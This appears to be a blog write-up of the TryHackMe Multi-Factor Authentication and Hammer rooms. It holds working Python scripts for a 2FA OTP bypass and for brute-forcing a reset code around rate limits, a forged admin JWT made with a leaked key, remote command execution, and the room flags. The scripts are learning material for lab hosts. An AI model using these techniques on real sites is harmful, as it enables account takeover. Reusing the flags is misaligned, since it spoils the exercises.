Skip to main content

Training Update v0.89

blank
blank

Friday is here and as we come towards the end of the week, it’s time for more THM!

We kick off today with the Multi-Factor Authentication room as part of the ‘Web Application Pentesting’ pathway on THM.

blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank

Flag – 904c8ac84e44f0ba942e9e11ee7037b8

blank
blank
blank
blank
blank
blank

http://mfa.thm/labs/second/mfa

blank
blank

Change the URL to append it with dashboard and we get access to the flag and the OTP is bypassed.

blank

Flag – 87880e9d27001affdff90989f351c462

blank
blank

Using the Python script below, save the script as exploit.py and run it in your terminal.

import requests
# Define the URLs for the login, 2FA process, and dashboard
login_url = 'http://mfa.thm/labs/third/'
otp_url = 'http://mfa.thm/labs/third/mfa'
dashboard_url = 'http://mfa.thm/labs/third/dashboard'
# Define login credentials
credentials = {
'email': '[email protected]',
'password': 'test123'
}
# Define the headers to mimic a real browser
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://mfa.thm',
'Connection': 'close',
'Referer': 'http://mfa.thm/labs/third/mfa',
'Upgrade-Insecure-Requests': '1'
}
# Function to check if the response contains the login page
def is_login_successful(response):
return "User Verification" in response.text and response.status_code == 200
# Function to handle the login process
def login(session):
response = session.post(login_url, data=credentials, headers=headers)
return response
# Function to handle the 2FA process
def submit_otp(session, otp):
# Split the OTP into individual digits
otp_data = {
'code-1': otp[0],
'code-2': otp[1],
'code-3': otp[2],
'code-4': otp[3]
}
response = session.post(otp_url, data=otp_data, headers=headers, allow_redirects=False)  # Disable auto redirects
print(f"DEBUG: OTP submission response status code: {response.status_code}")
return response
# Function to check if the response contains the login page
def is_login_page(response):
return "Sign in to your account" in response.text or "Login" in response.text
# Function to attempt login and submit the hardcoded OTP until success
def try_until_success():
otp_str = '1337'  # Hardcoded OTP
while True:  # Keep trying until success
session = requests.Session()  # Create a new session object for each attempt
login_response = login(session)  # Log in before each OTP attempt
if is_login_successful(login_response):
print("Logged in successfully.")
else:
print("Failed to log in.")
continue
print(f"Trying OTP: {otp_str}")
response = submit_otp(session, otp_str)
# Check if the response is the login page (unsuccessful OTP)
if is_login_page(response):
print(f"Unsuccessful OTP attempt, redirected to login page. OTP: {otp_str}")
continue  # Retry login and OTP submission
# Check if the response is a redirect (status code 302)
if response.status_code == 302:
location_header = response.headers.get('Location', '')
print(f"Session cookies: {session.cookies.get_dict()}")
# Check if it successfully bypassed 2FA and landed on the dashboard
if location_header == '/labs/third/dashboard':
print(f"Successfully bypassed 2FA with OTP: {otp_str}")
return session.cookies.get_dict()  # Return session cookies after successful bypass
elif location_header == '/labs/third/':
print(f"Failed OTP attempt. Redirected to login. OTP: {otp_str}")
else:
print(f"Unexpected redirect location: {location_header}. OTP: {otp_str}")
else:
print(f"Received status code {response.status_code}. Retrying...")
# Start the attack to try until success
try_until_success()
blank
blank
blank
blank
blank
blank
blank
blank
blank
blank

Flag – 20548e076dbb9ba30c9d94ae4aceb38e

blank
blank
blank

Next we move on to the Hammer room where we use our exploitation skills to bypass the authentication mechanisms on a website and get RCE.

Two open ports with the web application on port 1337.

blank
blank

http://10.10.231.173:1337/

blank

We see from the source code the the directory naming schema.

blank

http://10.10.231.173:1337/vendor/

We tried standard directory brute forcing first.

blank
blank

As we are not finding anything useful during our directory brute-forcing I think we need to amend the append a wordlist with the naming convention which is commented within the dev note found within the source code.

blank

We amend the below word list with the hmr_.

sed ‘s/^/hmr_/’ big.txt > hmr_big.txt

blank
blank
blank

We check with both gobuster and ferobuster just in case.

blank

We find hmr_logs/error.logs and find some interesting information relating to a username and also some directories.

http://hammer.thm:1337/hmr_logs/error.logs

blank

As mentioned, within the logs we found multiple directories which we cannot access however we do find a username which was used [email protected]

blank

Unable to brute force the login due to response codes and generic error messages on the login page

We try the password reset function, we then try a dummy user (not legit) and then try the user we found in the error logs

blank
Legit username - [email protected]
blank
blank

I got stuck here as I didn’t know how to bypass the code or If I should try and brute force it (although I knew after seven attempts rate limiting would kick in) and I would either have to wait seven minutes (or reset the cookie).

I then took a look at 0xb0b guide which I will link here – https://0xb0b.gitbook.io/writeups/tryhackme/2024/hammer & here is the explanation –

With every request that is now made, the Rate-Limit-Pending value in the response header is reduced. Initially this starts at 8. After the value drops to 0, the rate limit is reached and the token cannot be reset. At this point I lost a lot of time because I thought that with every reset the token would also be reset. Under this assumption, I thought I could only get a token with a bit of luck and chance.

Therefore, I wrote a script that makes 100 requests at the same time with different PHPSESSIDs in the hope of getting a valid reset with a fixed reset token. In fact, after several attempts I had a valid request token, but 100 identical response, for each session the fixed token was valid.

Only then did I realize that the token endures in that time frame over every session created, and does not reset itself with a new session. The assumption could be made by seeing that a token endures 180 seconds.

With the information we have, we are able to automates the process of brute-forcing a password recovery. It first requests a password reset and retrieves the PHPSESSID cookie, then iteratively submits recovery codes in a brute-force manner, periodically refreshing the PHPSESSID every seventh request. The script detects a successful code submission by checking for a change in the response text’s word count.

import subprocess
def get_phpsessid():
# Request Password Reset and retrieve the PHPSESSID cookie
reset_command = [
"curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
"-d", "email=tester%40hammer.thm",
"-H", "Content-Type: application/x-www-form-urlencoded",
"-v"
]
# Execute the curl command and capture the output
response = subprocess.run(reset_command, capture_output=True, text=True)
# Extract PHPSESSID from the response
phpsessid = None
for line in response.stderr.splitlines():
if "Set-Cookie: PHPSESSID=" in line:
phpsessid = line.split("PHPSESSID=")[1].split(";")[0]
break
return phpsessid
def submit_recovery_code(phpsessid, recovery_code):
# Submit Recovery Code using the retrieved PHPSESSID
recovery_command = [
"curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
"-d", f"recovery_code={recovery_code}&s=180",
"-H", "Content-Type: application/x-www-form-urlencoded",
"-H", f"Cookie: PHPSESSID={phpsessid}",
"--silent"
]
# Execute the curl command for recovery code submission
response_recovery = subprocess.run(recovery_command, capture_output=True, text=True)
return response_recovery.stdout
def main():
phpsessid = get_phpsessid()
if not phpsessid:
print("Failed to retrieve initial PHPSESSID. Exiting...")
return
for i in range(10000):
recovery_code = f"{i:04d}"  # Format the recovery code as a 4-digit string
if i % 7 == 0:  # Every 7th request, get a new PHPSESSID
phpsessid = get_phpsessid()
if not phpsessid:
print(f"Failed to retrieve PHPSESSID at attempt {i}. Retrying...")
continue
response_text = submit_recovery_code(phpsessid, recovery_code)
word_count = len(response_text.split())
if word_count != 148:
print(f"Success! Recovery Code: {recovery_code}")
print(f"PHPSESSID: {phpsessid}")
print(f"Response Text: {response_text}")
break
if __name__ == "__main__":
main()
blank

We use the guide’s script in order to find the 2FA key and the PHPSESSID in order to be able to reset the password for the user.

blank
blank
blank

Flag – THM{AuthBypass3D}

We issue the command ls -la via the command section in the dashboard and send it to burp to check how it is sending the requests and we notice that there is a JWT present (and also the application is trying to kick us out every couple of seconds)

We also notice the persistentSession cookie is set to no so we amend that to yes and change the duration as it will still kicking us out to 24 hours from now so we have no worries about being kicked out again now.

blank
blank

We notice that we can use ls via the command section of the web application and we notice that there is a .key file present within the directory which we may be able to use.

blank

We checkout the JWT present within the POST request and know that we need to amend this but the signature section of the JWT will not be accepted as this has been signed by the legit user not us some amending this and trying will not work.

blank

We are able to download the 188ade1.key which we found earlier.

http://hammer.thm:1337/188ade1.key

blank

From Guide –

We use a python script to create a token with admin role, we enter content line 4 and path of the secret line 10. We also set the expiry date a little higher for us. – https://0xb0b.gitbook.io/writeups/tryhackme/2024/hammer

{
"alg": "HS256",
"kid": "/var/www/html/188ade1.key",
"typ": "JWT"
}
{
"iss": "http://hammer.thm",
"aud": "http://hammer.thm",
"iat": 1725193591,
"exp": 1725199591,
"data": {
"user_id": 1,
"email": "[email protected]",
"role": "admin"
}
}
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
)
blank
blank

It was not working & I couldn’t figure out why but I then found out the script I was using was older than todays date and therefore expired, so I amended the date on the JWT and then issued the request again.

blank

Which worked and we used the id command to confirm RCE.

blank

After this we are able to then cat the flag and finish the room, this one was tough for me! I understanded what needed to be done when reading along with the guide but I doubt I would have worked this out myself If I’m being genuinely honest!

blank

Flag – THM{RUNANYCOMMAND1337}

blank
blank

Overall, I thought this room was very difficult and It incorporated alot of the the content previously talked about within the proceeding module however, at various stages of this room you needed to develop your own python scripts for dealing with the 2FA authentication bypass sections and also with dealing with creating your own JWT and using UNIX time formatting within the context of creation of the JWT. I would not have rated this as a medium room at all but that may be due to my apparent low skill level. Maybe it’s just me but I feel as though the previous rooms did not 100% get me to the level which I needed to be at in order to tackle this challenge solo and needed thealot of help from a guide to complete it.

Credit – https://0xb0b.gitbook.io/writeups/tryhackme/2024/hammer check out the guide to the room it’s very good!

blank
blank

Until next time & don’t sleepwalk through life!

Farvel